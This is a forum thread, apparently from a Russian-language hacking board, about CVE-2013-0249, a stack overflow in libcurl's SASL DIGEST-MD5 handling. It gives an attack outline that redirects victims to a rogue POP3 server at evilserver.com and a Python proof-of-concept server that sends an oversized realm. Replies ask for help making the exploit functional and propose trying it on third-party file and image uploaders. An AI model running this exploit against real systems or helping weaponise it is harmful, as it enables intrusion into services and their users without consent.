DoS cURL buffer overflow

[Aels]

Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handers which lead to code execution (RCE). When negotiating SASL DIGEST-MD5 authentication, the function Curl_sasl_create_digest_md5_message() uses the data provided from the server without doing the proper length checks and that data is then appended to a local fixed-size buffer on the stack.

Vendor notified, CVE-2013-0249 relased.

Attack Concept Outline

We have the permissions to send custom HTTP requests with curl. We send request to http://evilserver.com/ and answer with HTTP/1.0 302 redirect with Location: pop3://x:x@evilserver.com/. Victim client tries to authenticate at our POP3 server and got exploited with long realm.

PoC:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# curl pop3 0day by Volema/MSLC

import socket
import base64

host = "localhost"
port = 110

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(5)
sock, addr = s.accept()
sock.send('+OK POP3 server ready\n')
while True:
    buf = sock.recv(1024)
    print buf
    if buf.find('USER') > -1:
        sock.send('+OK\n')
    if buf.find('PASS') > -1:
        sock.send('-ERR 999\n')
    if buf.find('CAPA') > -1:
        resp =  '+OK List of capabilities follows\n'
        resp += 'SASL DIGEST-MD5\n'
        resp += 'IMPLEMENTATION dumbydumb POP3 server\n'
        resp += '.\n'
        sock.send(resp)
    if buf.find('QUIT') > -1:
        sock.send('+OK')
        break
    if buf.find('AUTH') > -1:
        realm = 'A'*128
        payload = 'realm="%s",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8' % realm
        resp = '+ '+base64.b64encode(payload)+'\n'
        print resp
        sock.send(resp)
sock.close()

Источник: http://blog.volema.com/curl-rce.html

Как следствие, уязвимы кучи-кучи glype-проксей, файл-аплоадеров.

Так же (ввиду моей некомпетентности) хотелось бы услышать рецепт по приведению кода в рабочее состояние.

 

[Left4Dead]

Прикольно, надо потестить на файл- и имейдж- аплоадерах

 

[el-]

http://nakedsecurity.sophos.com/2013/02/10...entication-bug/